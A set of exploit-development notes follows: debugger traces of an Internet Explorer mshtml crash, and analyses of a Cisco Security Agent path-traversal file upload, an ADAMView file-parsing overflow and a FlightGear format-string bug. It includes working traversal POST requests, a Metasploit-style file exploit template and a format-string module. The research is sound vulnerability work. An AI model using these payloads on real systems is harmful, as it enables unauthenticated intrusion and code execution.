0:008> u mshtml!CSelectionManager::EnsureEditContext+0x30: 63621339 837f1800 cmp dword ptr [edi+18h],0 6362133d 0f8423a52300 je mshtml!CSelectionManager::EnsureEditContext+0x36 (6385b866) 63621343 5f pop edi 63621344 c3 ret 63621345 85c0 test eax,eax 63621347 7ddb jge mshtml!CSelectionManager::EnsureEditContext+0x16 (63621324) 63621349 ebf8 jmp mshtml!CSelectionManager::EnsureEditContext+0x3b (63621343) 6362134b 85c0 test eax,eax 0:008> k ChildEBP RetAddr 037cfb88 6361d930 mshtml!CSelectionManager::EnsureEditContext+0x30 037cfba4 6361c2bd mshtml!CSelectionManager::Notify+0x3a 037cfbb8 6361c270 mshtml!CHTMLEditor::Notify+0x5a 037cfbd4 6360feb4 mshtml!CHTMLEditorProxy::Notify+0x21 037cfbf0 63620f7f mshtml!CDoc::NotifySelection+0x59 037cfd14 63784934 mshtml!CCaret::UpdateScreenCaret+0xdd 037cfd24 6364de62 mshtml!CCaret::DeferredUpdateCaretScroll+0x32 037cfd58 6363c3c5 mshtml!GlobalWndOnMethodCall+0xfb 037cfd78 7e418734 mshtml!GlobalWndProc+0x183 037cfda4 7e418816 USER32!InternalCallWinProc+0x28 037cfe0c 7e4189cd USER32!UserCallWinProcCheckWow+0x150 037cfe6c 7e418a10 USER32!DispatchMessageWorker+0x306 037cfe7c 02562ec9 USER32!DispatchMessageW+0xf 037cfeec 025048bf IEFRAME!CTabWindow::_TabWindowThreadProc+0x461 037cffa4 5de05a60 IEFRAME!LCIETab_ThreadProc+0x2c1 037cffb4 7c80b713 iertutil!CIsoScope::RegisterThread+0xab 037cffec 00000000 kernel32!BaseThreadStart+0x37
Without gflags
0:008> r eax=41424344 ebx=03323060 ecx=7c91003d edx=00000014 esi=00234ec8 edi=0000000c eip=63620f82 esp=0201fc00 ebp=0201fd14 iopl=0 nv up ei ng nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010286 mshtml!CCaret::UpdateScreenCaret+0xe0: 63620f82 8b08 mov ecx,dword ptr [eax] ds:0023:41424344=???????? 0:008> u mshtml!CCaret::UpdateScreenCaret+0xe0: 63620f82 8b08 mov ecx,dword ptr [eax] 63620f84 8d54246c lea edx,[esp+6Ch] 63620f88 52 push edx 63620f89 50 push eax 63620f8a ff512c call dword ptr [ecx+2Ch] 63620f8d 33ff xor edi,edi 63620f8f 397c246c cmp dword ptr [esp+6Ch],edi 63620f93 0f84669e2100 je mshtml!CCaret::UpdateScreenCaret+0xf3 (6383adff) 0:008> k ChildEBP RetAddr 0201fd14 63784934 mshtml!CCaret::UpdateScreenCaret+0xe0 0201fd24 6364de62 mshtml!CCaret::DeferredUpdateCaretScroll+0x32 0201fd58 6363c3c5 mshtml!GlobalWndOnMethodCall+0xfb 0201fd78 7e418734 mshtml!GlobalWndProc+0x183 0201fda4 7e418816 USER32!InternalCallWinProc+0x28 0201fe0c 7e4189cd USER32!UserCallWinProcCheckWow+0x150 0201fe6c 7e418a10 USER32!DispatchMessageWorker+0x306 0201fe7c 00cb2ec9 USER32!DispatchMessageW+0xf 0201feec 00c548bf IEFRAME!CTabWindow::_TabWindowThreadProc+0x461 0201ffa4 5de05a60 IEFRAME!LCIETab_ThreadProc+0x2c1 0201ffb4 7c80b713 iertutil!CIsoScope::RegisterThread+0xab 0201ffec 00000000 kernel32!BaseThreadStart+0x37
Technical Analysis
This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Cisco Security Agent Management Console. Authentication is not required to exploit this vulnerability.
The flaw exists within the webagent.exe component which is handed requests by an Apache instance that listens by default on TCP port 443. When handling an st_upload request the process does not properly validate POST parameters used for a file creation. The contents of this newly created file are controllable via another POST variable. A remote attacker can exploit this vulnerability to execute arbitrary code under
the context of the SYSTEM user.
Exploit:
http://downloads.securityfocus.com/vulnerabilities/exploits/46420.py
Installation
I’ve done two installations, both in W2003 SP2 (W2003 is the supported
operating system):
- fcs-csamc-hotfix-5.1.0.117-w2k3-k9.zip
- fcs-csamc-hotfix-6.0.0.220-w2k3-k9.zip
Both versions can be easily found in Internet googling by the filename.
Testing the PoC
The PoC doesn’t work for me in 5.1.0.117. Reasons
(1) The path and the parameteres. It can be easily fixed…
PoC request modified to write arbitrary contents to arbitrary file:
POST /csamc51/agent HTTP/1.1 Host: localhost Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1229.94 Safari/537.4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Content-type: multipart/form-data; boundary=172.16.240.1.501.72115.1350048178.818.1 Content-Length: 786 --172.16.240.1.501.72115.1350048178.818.1 Content-Disposition: form-data; name="host_uid" F0888900-ACF9-4728-8F20-08B3E5BBA3AD --172.16.240.1.501.72115.1350048178.818.1 Content-Disposition: form-data; name="extension" /../../../../../../../../../../../../test.txt --172.16.240.1.501.72115.1350048178.818.1 Content-Disposition: form-data; name="jobname" --172.16.240.1.501.72115.1350048178.818.1 Content-Disposition: form-data; name="diagsu" asdfafdsasdffdasdfsaadfsadsfadsfdafsadsf asdfasdfadsfadfssdfasd fsadadfsadsfsdafafsd --172.16.240.1.501.72115.1350048178.818.1 Content-Disposition: form-data; name="host" 1234 --172.16.240.1.501.72115.1350048178.818.1 Content-Disposition: form-data; name="profiler" --172.16.240.1.501.72115.1350048178.818.1--
After reversing, other paths can be used to write arbitrary contents to arbitrary files, as sample:
POST /csamc51/agent HTTP/1.1 Host: localhost Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1229.94 Safari/537.4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Content-type: multipart/form-data; boundary=172.16.240.1.501.72115.1350048178.818.1 Content-Length: 846 --172.16.240.1.501.72115.1350048178.818.1 Content-Disposition: form-data; name="host_uid" F0888900-ACF9-4728-8F20-08B3E5BBA3AD --172.16.240.1.501.72115.1350048178.818.1 Content-Disposition: form-data; name="extension" /../../../../../../../../../../../../test.txt --172.16.240.1.501.72115.1350048178.818.1 Content-Disposition: form-data; name="jobname" --172.16.240.1.501.72115.1350048178.818.1 Content-Disposition: form-data; name="diagsu" --172.16.240.1.501.72115.1350048178.818.1 Content-Disposition: form-data; name="diags" --172.16.240.1.501.72115.1350048178.818.1 Content-Disposition: form-data; name="host" 1234 --172.16.240.1.501.72115.1350048178.818.1 Content-Disposition: form-data; name="profiler" Options +Includes +ExecCGI AddHandler cgi-script gee --172.16.240.1.501.72115.1350048178.818.1--
(2) the host uid
Its the major reason which makes the PoC fail, the PoC use a hardcoded host uid
to do its requests:
_host_uid = 'C087EFAE-05A2-4A0B-9512-E05E5ED84AEB'
The host uid identifies a cisco agent and is generated while registration of the
agent with the management console.
Both versions, 5.1.0.117 and 6.0.0.220 check the host uid and doesn’t allow
to upload files if it isn’t a registered uid:
Version 5.1.0.117
- The host uid fields is read and a pointer stored on host_uid_var_1364:
.text:004847F9 mov ecx, [ebp+var_1378] .text:004847FF mov ebx, [ecx] .text:00484801 mov edi, offset aHost_uid ; "host_uid" .text:00484806 mov esi, ebx .text:00484808 mov ecx, 9 .text:0048480D xor edx, edx .text:0048480F repe cmpsb .text:00484811 jnz short loc_48482C .text:00484813 mov eax, [ebp+var_132C] .text:00484819 mov eax, [eax] .text:0048481B call sub_47AB50 .text:00484820 mov [ebp+host_uid_var_1364], eax .text:00484826 mov eax, [ebp+var_132C]
- Later the Host ID is checked
.text:00484C19 loc_484C19: ; CODE XREF: sub_484350+7A3j .text:00484C19 lea eax, [ebp+var_1354] .text:00484C1F push eax .text:00484C20 mov ecx, [ebp+host_uid_var_1364] .text:00484C26 call check_uid_hostsub_47B7A0 ; check registration of host uid .text:00484C2B add esp, 4 .text:00484C2E test eax, eax .text:00484C30 jz short loc_484C49 ; if it has been registered .text:00484C32 push offset aHostidIsNotReg ; "Hostid is not registered for upload" .text:00484C37 lea ecx, [ebp+Dest] .text:00484C3D push ecx ; Dest .text:00484C3E call ds:sprintf .text:00484C44 jmp loc_485221
Version 6.0.0.220
- Get host uid
.text:00489820 cmp dword ptr [eax], 0 .text:00489823 jz loc_48998A .text:00489829 mov ecx, [ebp+var_137C] .text:0048982F mov ebx, [ecx] .text:00489831 mov edi, offset aHost_uid ; "host_uid" .text:00489836 mov esi, ebx .text:00489838 mov ecx, 9 .text:0048983D xor edx, edx .text:0048983F repe cmpsb .text:00489841 jnz short loc_48985C .text:00489843 mov eax, [ebp+host_uid_var_132C] .text:00489849 mov eax, [eax] .text:0048984B call sub_47E760 .text:00489850 mov [ebp+var_1368], eax .text:00489856 mov eax, [ebp+host_uid_var_132C]
- And check it
.text:00489C50 .text:00489C50 loc_489C50: ; CODE XREF: sub_489380+7A3j .text:00489C50 lea eax, [ebp+var_1354] .text:00489C56 push eax .text:00489C57 mov ecx, [ebp+var_1368] .text:00489C5D call sub_47F890 .text:00489C62 add esp, 4 .text:00489C65 test eax, eax .text:00489C67 jz short loc_489C80 .text:00489C69 push offset aHostidIsNotReg ; "Hostid is not registered for upload" .text:00489C6E lea ecx, [ebp+Dest] .text:00489C74 push ecx ; Dest .text:00489C75 call ds:sprintf .text:00489C7B jmp loc_48A272
- Solutions
The registration doesn’t need authenticaiton (if ACL’s hasn’t been configured
in the management console, by defalut anyone can register).
Options:
(1) Easy: Provide in the module a HOSTUID option, and give instruction about
how to get a valid HOSTUID, basically the user should install a cisco agent,
configure the management console as the victim, and get the legit HOSTUID which
is saved automatically in the configuration file of the agent.
(2) Hard: Reverse the registrarion process. A little tricky because all the
communications go via SSL… anyway… playing with it!
(3) Check check_uid_hostsub_47B7A0 in case there is a bypass for the check
of the host id
- Who is making the registration??
According to my analysis the registration seems to be done by leventmgr.exe. I’ve get
a wireshark capture of the supposed registration, and I’ve the private key for the server,
but I haven’t been able to decrypt the ssl traffic with the wireshark capabilities (I configured
the SSL private key… still no success).
The pcap file, and the certificate plus the private key for the server component are attached in the
analysis directory.
Next steps: continue with the reversing of leventmgr.exe
Hooking SSL_read and SSL_write from SSLEAY32 is possible to look at the SSL encrypted communication…
02637008 50 4f 53 54 20 2f 63 73-61 6d 63 35 31 2f 61 67 POST /csamc51/ag 02637018 65 6e 74 20 48 54 54 50-2f 31 2e 31 0d 0a 48 6f ent HTTP/1.1..Ho 02637028 73 74 3a 20 6a 66 65 64-6e 2d 36 65 64 32 64 62 st: jfedn-6ed2db 02637038 36 63 61 38 3a 35 34 30-31 0d 0a 50 72 61 67 6d 6ca8:5401..Pragm 02637048 61 3a 20 6e 6f 2d 63 61-63 68 65 0d 0a 41 63 63 a: no-cache..Acc 02637058 65 70 74 2d 65 6e 63 6f-64 69 6e 67 3a 20 67 7a ept-encoding: gz 02637068 69 70 0d 0a 43 6f 6e 74-65 6e 74 2d 4c 65 6e 67 ip..Content-Leng 02637078 74 68 3a 20 34 33 32 0d-0a 43 6f 6e 74 65 6e 74 th: 432..Content 02637088 2d 54 79 70 65 3a 20 61-70 70 6c 69 63 61 74 69 -Type: applicati 02637098 6f 6e 2f 78 2d 77 77 77-2d 66 6f 72 6d 2d 75 72 on/x-www-form-ur 026370a8 6c 65 6e 63 6f 64 65 64-0d 0a 0d 0a 0d f0 ad ba lencoded........ 0:035> db 01dbfd39 L1B0 01dbfd39 63 70 61 79 6c 6f 61 64-3d 78 9c 95 51 cb 4e c3 cpayload=x..Q.N. 01dbfd49 30 10 fc 15 5f 2a c1 61-25 32 42 bf 93 c2 29 29 0..._*.a%2B...)) 01dbfd59 c9 01 a9 08 a9 15 1c 10-07 27 76 db 40 9a 94 e6 .........'v.@... 01dbfd69 51 54 c4 bf b3 5b 1e 77-64 79 66 34 ab 9d 5d cb QT...[.wdyf4..]. 01dbfd79 17 43 e5 e1 23 4f 73 6b-e2 24 85 79 9c 1b d0 52 .C..#Osk.$.y...R 01dbfd89 25 32 36 10 cf e7 39 58-9d a9 24 cf 52 25 32 35 %26...9X..$.R%25 01dbfd99 4c f4 c9 b6 6d d7 c3 cb-3a f8 06 6c f0 d2 17 b6 L...m...:..l.... 01dbfda9 74 31 f3 5d 09 8f 55 e3-db 63 77 b7 9a 48 6e a6 t1.]..U..cw..Hn. 01dbfdb9 72 aa a2 19 47 b9 0c 87-b1 2a 03 aa 7b 57 be 22 r...G....*..{W." 01dbfdc9 49 bc 4f fd f2 19 69 22-e3 ac d9 d4 55 b7 9d c8 I.O...i"....U... 01dbfdd9 19 d9 ef b1 45 5a bb 1d-22 a9 5d eb 43 8d ac a9 ....EZ..".].C... 01dbfde9 a9 eb c3 1e 29 a2 4e c1-a5 5a a4 28 56 6e 73 85 ....).N..Z.(Vns. 01dbfdf9 f4 b0 38 ba 43 25 30 30-43 4d da d3 06 a4 82 42 ..8.C%00CM.....B 01dbfe09 70 04 9c 56 d1 e4 09 09-45 41 31 14 e9 34 01 d9 p..V....EA1..4.. 01dbfe19 2a fa 03 2a 14 fc 7b bd-db c1 35 14 ef 4e 6f 43 *..*..{...5..NoC 01dbfe29 38 e1 96 6c 5f f7 ff 7e-ea f5 cf 25 32 42 d9 30 8..l_..~...%2B.0 01dbfe39 40 a6 8c d5 37 c6 02 e7-89 02 21 b5 85 34 8d 24 @...7.....!..4.$ 01dbfe49 24 3a b1 2a c2 23 53 ce-da ee 77 06 a5 70 ae 58 $:.*.#S...w..p.X 01dbfe59 bb 73 60 10 25 32 42 90-58 dd 13 16 b5 07 9a cc .s`.%2B.X....... 01dbfe69 c6 73 6d c4 9a 60 23 b9-42 44 8c fe 49 72 76 a8 .sm..`#.BD..Irv. 01dbfe79 47 74 cb f5 19 7b b7 04-c1 39 bb fc 02 a6 46 85 Gt...{...9....F. 01dbfe89 1c 26 70 61 79 6c 6f 61-64 5f 6c 65 6e 67 74 68 .&payload_length 01dbfe99 3d 34 39 38 26 64 73 74-3d 35 26 61 70 74 79 70 =498&dst=5&aptyp 01dbfea9 65 3d 31 36 26 61 70 76-65 72 73 69 6f 6e 3d 33 e=16&apversion=3 01dbfeb9 26 68 6f 73 74 5f 75 69-64 3d 7b 46 42 46 36 35 &host_uid={FBF65 01dbfec9 38 41 42 2d 43 38 46 35-2d 34 32 32 41 2d 38 43 8AB-C8F5-422A-8C 01dbfed9 43 46 2d 36 34 45 33 41-46 45 42 33 31 35 37 7d CF-64E3AFEB3157}
now would be nice to find a way to clean the client state and get the full communication to
register a new host. Anyway, this cpayload field doesn’t look very good…. seems like even
over ssl, the payload while registration messages go encoded… more reversing needed here.
Technical Analysis
Details
According to the official advisory there is a trivial bof on adamview.exe (Adamview builder):
.text:00475BA0 push ebx .text:00475BA1 lea ecx, [esp+4Ch+String1] .text:00475BA5 push offset aDisplayDesigne ; "Display Designer: %s" .text:00475BAA push ecx ; LPSTR .text:00475BAB mov esi, eax .text:00475BAD call ds:wsprintfA
Indeed the overflow is obvious and can be easily reached with GNI with a display designer window
with a big name.
Inside the file, the designer string is saved as:
2 bytes length / Designer string ending with NULL (0x00)
Since the wsprintf copies the designer name, read from the file, to a stack buffer:
-00000034 String1
It is trival to trigger the overflow:
def template gni = [ 0x41, 0x47, 0x4E, 0x49, 0xAE, 0x01, 0x04, 0x00, 0xEA, 0x45, 0x20, 0x78, 0x1E, 0x75, 0xF8, 0x18, 0xDC, 0x45, 0x46, 0xC0, 0x06, 0x2D, 0xF0, 0x20, 0x92, 0x6D, 0xC0, 0x9C, 0x02, 0x89, 0xF0, 0x44, 0x06, 0x4D, 0x00, 0x00, 0x48, 0x45, 0x41, 0x44, 0x16, 0x00, 0x92, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x80, 0x02, 0xE0, 0x01, 0x53, 0x57, 0x50, 0x4C, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE4, 0x02, 0x00, 0x00, 0x9D, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x42, 0x54, 0x53, 0x4B, 0x76, 0x00, 0x01, 0x00, 0x00, 0x00, 0x2A, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0x16, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x54, 0x41, 0x53, 0x4B, 0x31, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC8, 0x42, 0x45, 0x54, 0x53, 0x4B, 0x50, 0x57, 0x50, 0x4C, 0x3D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x44, 0x00, 0x00, 0x00, 0x2D, 0x00, 0x00, 0x00, 0x41, 0x03, 0x00, 0x00, 0xCB, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x01, 0x00].pack("C*") bof = rand_text(target['Offset']) bof << [target.ret].pack("V") # eip bof << rand_text(4) # padding bof << rand_text_alpha_upper(4) # payload bof << "\x00" gni << [bof.length].pack("v") gni << bof gni << [0x50, 0x45, 0x4E, 0x44, 0x46, 0x56, 0x4B, 0x53, 0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4E, 0x45, 0x54, 0x4B, 0x41, 0x44, 0x41, 0x4D, 0x56, 0x69, 0x65, 0x77, 0x00, 0xEC, 0x00, 0x00, 0xD0, 0x07, 0xD0, 0x07, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x5A, 0x45, 0x4F, 0x46 ].pack("C*")
Unfortunately, there is a heap overflow, previously to the stack overflow, which makes exploitation
super unstable on Windows 7 SP1 (I guess more modern systems too). The same vulnerable function is used
to read the designer name from the file:
.text:00475B38 lea eax, [esp+48h+var_38] .text:00475B3C push 2 ; SIZE .text:00475B3E push eax ; DST .text:00475B3F mov ecx, esi .text:00475B41 call dword ptr [edx+3Ch] ; MFC42!CFile::Read, it's reading the size .text:00475B44 mov eax, [esp+48h+var_38] .text:00475B48 mov edx, [esi] ; {MFC42!CFile::`vftable'} => [esi] .text:00475B4A and eax, 0FFFFh .text:00475B4F mov ecx, esi .text:00475B51 push eax ; size .text:00475B52 push ebx ; dst .text:00475B53 call dword ptr [edx+3Ch] ; MFC42!CFile::Read .text:00475B56 push ebx ; Str .text:00475B57 call ds:_strupr ; uppercase
First 2 bytes are read from the file, and stored in the stack. It is the Designer string length.
After it, this length size is read from the file and stored in the memory pointed by ebx:
00475B24 lea ebx, [edi+2F1h]
ebx pointes to an offset inside edi, which points to a buffer in the heap. Where this heap buffer
comes from from?:
0:000> !heap -p -a 08af2ec9 address 08af2ec9 found in _DPH_HEAP_ROOT @ 1a21000 in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) 8aa12a4: 8af2bd8 428 - 8af2000 2000 ? ADAMView!DlgProc+1d4c8 732b8e89 verifier!AVrfDebugPageHeapAllocate+0x00000229 77355e26 ntdll!RtlDebugAllocateHeap+0x00000030 7731a376 ntdll!RtlpAllocateHeap+0x000000c4 772e5ae0 ntdll!RtlAllocateHeap+0x0000023a 75db9d45 msvcrt!malloc+0x0000008d 6f5eff9e MFC42!operator new+0x00000015 00474790 ADAMView!ColorBox::ColorBoxDlgSubclassProc+0x00014ac0 6f5ffef3 MFC42!CFrameWnd::CreateView+0x00000017 6f5ffec6 MFC42!CFrameWnd::OnCreateClient+0x0000001c 6f600ac3 MFC42!CFrameWnd::OnCreateHelper+0x00000031 6f600a8e MFC42!CMDIChildWnd::OnCreate+0x00000014 6f5feadb MFC42!CWnd::OnWndMsg+0x00000272 6f5f3687 MFC42!CWnd::WindowProc+0x0000002e 6f5fa361 MFC42!AfxCallWndProc+0x000000b5 6f5fa2b9 MFC42!AfxWndProc+0x0000003e 6f5fa571 MFC42!AfxWndProcBase+0x00000057 75a0c4e7 USER32!InternalCallWinProc+0x00000023 75a05f9f USER32!UserCallWinProcCheckWow+0x000000e0 75a04f0e USER32!DispatchClientMessage+0x000000da 759fe98a USER32!__fnINLPCREATESTRUCT+0x0000008b 772d6fee ntdll!KiUserCallbackDispatcher+0x0000002e 759fec54 USER32!_CreateWindowEx+0x00000201 759fbf73 USER32!CreateWindowExA+0x00000033 75a1f67c USER32!MDIClientWndProcWorker+0x000003b7 75a22bca USER32!MDIClientWndProcA+0x00000022 75a0c4e7 USER32!InternalCallWinProc+0x00000023 75a0c5e7 USER32!UserCallWinProcCheckWow+0x0000014b 75a05294 USER32!SendMessageWorker+0x000004d0 759fada9 USER32!SendMessageA+0x0000007c 6f600a10 MFC42!CMDIChildWnd::Create+0x000000fe 6f6000dc MFC42!CMDIChildWnd::LoadFrame+0x000000c7 6f60120e MFC42!CDocTemplate::CreateNewFrame+0x00000067
It’s a 0x428 buffer allocated on sub_474770
.text:0047477D push eax .text:0047477E mov large fs:0, esp .text:00474785 push ecx .text:00474786 push 428h ; unsigned int .text:0047478B call ??2@YAPAXI@Z ; operator new
Since the string read from the file is copied to offset 0x271, it lefts 311 bytes before
the heap buffer is overflowed.
Unfortunately, just after read the string from the file and store it in the heap, it happens:
.text:00475B53 call dword ptr [edx+3Ch] ; MFC42!CFile::Read .text:00475B56 push ebx ; Str .text:00475B57 call ds:_strupr ; uppe
The string in the heap is converted to uppercase. It means a lot of “badchars”. So overflowing
EIP and storing the payload on 311 bytes doesn’t look feasible (at least usign the upper
encoder).
Of course, we can overflow the heap and pry for the execution to reach the stack overflow and
the ret. Unfortunately too many things happen between the heap and the stack overflow:
.text:00475B57 call ds:_strupr ; uppercase .text:00475B5D add esp, 4 .text:00475B60 lea ecx, [esp+48h+String1] .text:00475B64 push ebx ; lpString2 .text:00475B65 push ecx ; lpString1 .text:00475B66 call ds:lstrcmpA .text:00475B6C test eax, eax .text:00475B6E jz short loc_475B80 .text:00475B70 lea edx, [esp+48h+String1] .text:00475B74 push ebx ; char * .text:00475B75 push edx ; char * .text:00475B76 mov ecx, offset unk_4BEEA8 ; this .text:00475B7B call ?ChangeTaskName@CDBCenter@@QAEKPBD0@Z ; CDBCenter::ChangeTaskName(char const *,char const *) .text:00475B80 .text:00475B80 loc_475B80: ; CODE XREF: sub_475AA0+CEj .text:00475B80 mov eax, [esi] .text:00475B82 push 0 .text:00475B84 push ebp .text:00475B85 mov ecx, esi .text:00475B87 call dword ptr [eax+30h] .text:00475B8A push esi ; hMem .text:00475B8B mov ecx, edi .text:00475B8D call sub_479950 .text:00475B92 mov ecx, edi .text:00475B94 call sub_475980 .text:00475B99 mov ecx, edi ; this .text:00475B9B call ?GetParentFrame@CWnd@@QBEPAVCFrameWnd@@XZ ; CWnd::GetParentFrame(void) .text:00475BA0 push ebx .text:00475BA1 lea ecx, [esp+4Ch+String1] .text:00475BA5 push offset aDisplayDesigne ; "Display Designer: %s" .text:00475BAA push ecx ; LPSTR .text:00475BAB mov esi, eax .text:00475BAD call ds:wsprintfA
On windows 7 SP1 the heap is used between the overflows, and the corrupted heap makes the process to crash before
reaching the stack overflow and control EIP later.
Also egghunting doesn’t look a good option, because all the file contents aren’t in memory at the moment of the overflow.
So for example adding the payload as garbage at the end of the file, results with the payload not in memory when
controlling EIP :...
Even when the HEAP overflow isn’t reported in the core advisory, and there are probably a lot of other vulnerabilities,
the software is unsupported atm. Even the CORE vuln wasn’t fixed, so I don’t think it’s worth to invest more time here.
Technical Analysis
- Vuln analysis:
In source code:
double count = acloud->getDoubleValue("count", 1.0); tCloudVariety[CloudVarietyCount].count = count; int variety = 0; cloud_name = cloud_name + "-%d"; char variety_name[50]; do { variety++; snprintf(variety_name, sizeof(variety_name) - 1, cloud_name.c_str(), variety); // Vulnerable snprintf } while( box_def_root->getChild(variety_name, 0, false) ); totalCount += count; if( CloudVarietyCount < 20 ) CloudVarietyCount++; } } totalCount = 1.0 / totalCount;
- PoC:
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'FlightGear Format String', 'Description' => %q{ This module exploits ..... }, 'Author' => [ 'juan vazquez' ], 'License' => MSF_LICENSE, 'References' => [ [ 'OSVDB', '92872' ] ], 'Privileged' => false, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00\x20\x0a\x0d", 'DisableNops' => 'true', }, 'Platform' => 'win', 'Targets' => [ [ 'FlightGear', { 'Ret' => 0x41414141 } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Apr 21 2013')) register_options([Opt::RPORT(5501)], self.class) end def exploit connect print_status("Trying to send data...") sock.put("data\r\n") sock.put("set /sim/rendering/clouds3d-enable true\r\n") sock.put("set /environment/clouds\r\n") sock.put("set /environment/cloudlayers/layers[0]/cu/cloud/name %n\r\n") sock.put("set /environment/clouds/layer[0]/coverage cirrus\r\n") sock.put("quit\r\n") disconnect end end
- Crash Analysis
On the WIN32 version available here: http://mirrors.ibiblio.org/flightgear/ftp/Windows/Setup%20FlightGear%202.10.0.3.exe
MSVCR100 is used by FlightGear 2.10.0.3, which looks like coming with FormatString Exploitation Protection:
Breakpoint 0 hit eax=013dfcc4 ebx=022b0ce0 ecx=013df950 edx=00000002 esi=00000001 edi=013df9c4 eip=004a241e esp=013df8f4 ebp=013dfd08 iopl=0 nv up ei ng nz na pe cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200287 fgfs+0xa241e: 004a241e ff1550e48b00 call dword ptr [fgfs!std::_Init_locks::operator=+0x6e189 (008be450)] ds:0023:008be450={MSVCR100!_snprintf (78b05c8a)} 0:000> dd esp 013df8f4 013dfcc4 00000031 013df988 00000001 013df904 98706bbe 00000010 00000000 0000000f 013df914 00000000 3ff00000 00000000 00000000 013df924 023827c8 00000000 00000000 022a5b10 013df934 02479808 0089b0b0 00000000 022acfe0 013df944 00000000 00000000 0230dfd0 252d6e00 013df954 00000064 021706e8 02170000 00000000 013df964 0000000f 0223fa40 013dfb98 7c90e900 0:000> db 013df988 013df988 25 6e 2d 25 64 00 17 24-03 00 00 00 f8 51 24 02 %n-%d..$.....Q$. 013df998 05 00 00 00 0f 00 00 00-15 09 8d 00 25 6e 00 00 ............%n.. 013df9a8 00 00 00 00 7e 6f 70 98-00 00 00 00 02 00 00 00 ....~op......... 013df9b8 0f 00 00 00 f0 f9 3d 01-b8 ac 89 00 00 00 00 00 ......=......... 013df9c8 00 00 f0 3f 00 10 7e 00-15 09 8d 00 1b 09 8d 00 ...?..~......... 013df9d8 00 00 00 00 00 00 00 00-0f 00 00 00 00 00 00 00 ................ 013df9e8 a8 f9 23 02 80 fc 3d 01-c4 fa 3d 01 00 af 89 00 ..#...=...=..... 013df9f8 be 6c 70 98 c4 fa 3d 01-b0 b0 89 00 00 00 00 00 .lp...=......... 0:000> p WARNING: Step/trace thread exited eax=7ffd9000 ebx=013df98a ecx=013df010 edx=7c90e4f4 esi=c0000417 edi=013df900 eip=7c90e4f4 esp=013df5c0 ebp=013df5d0 iopl=0 nv up ei ng nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200286 ntdll!KiFastSystemCallRet: 7c90e4f4 c3 ret 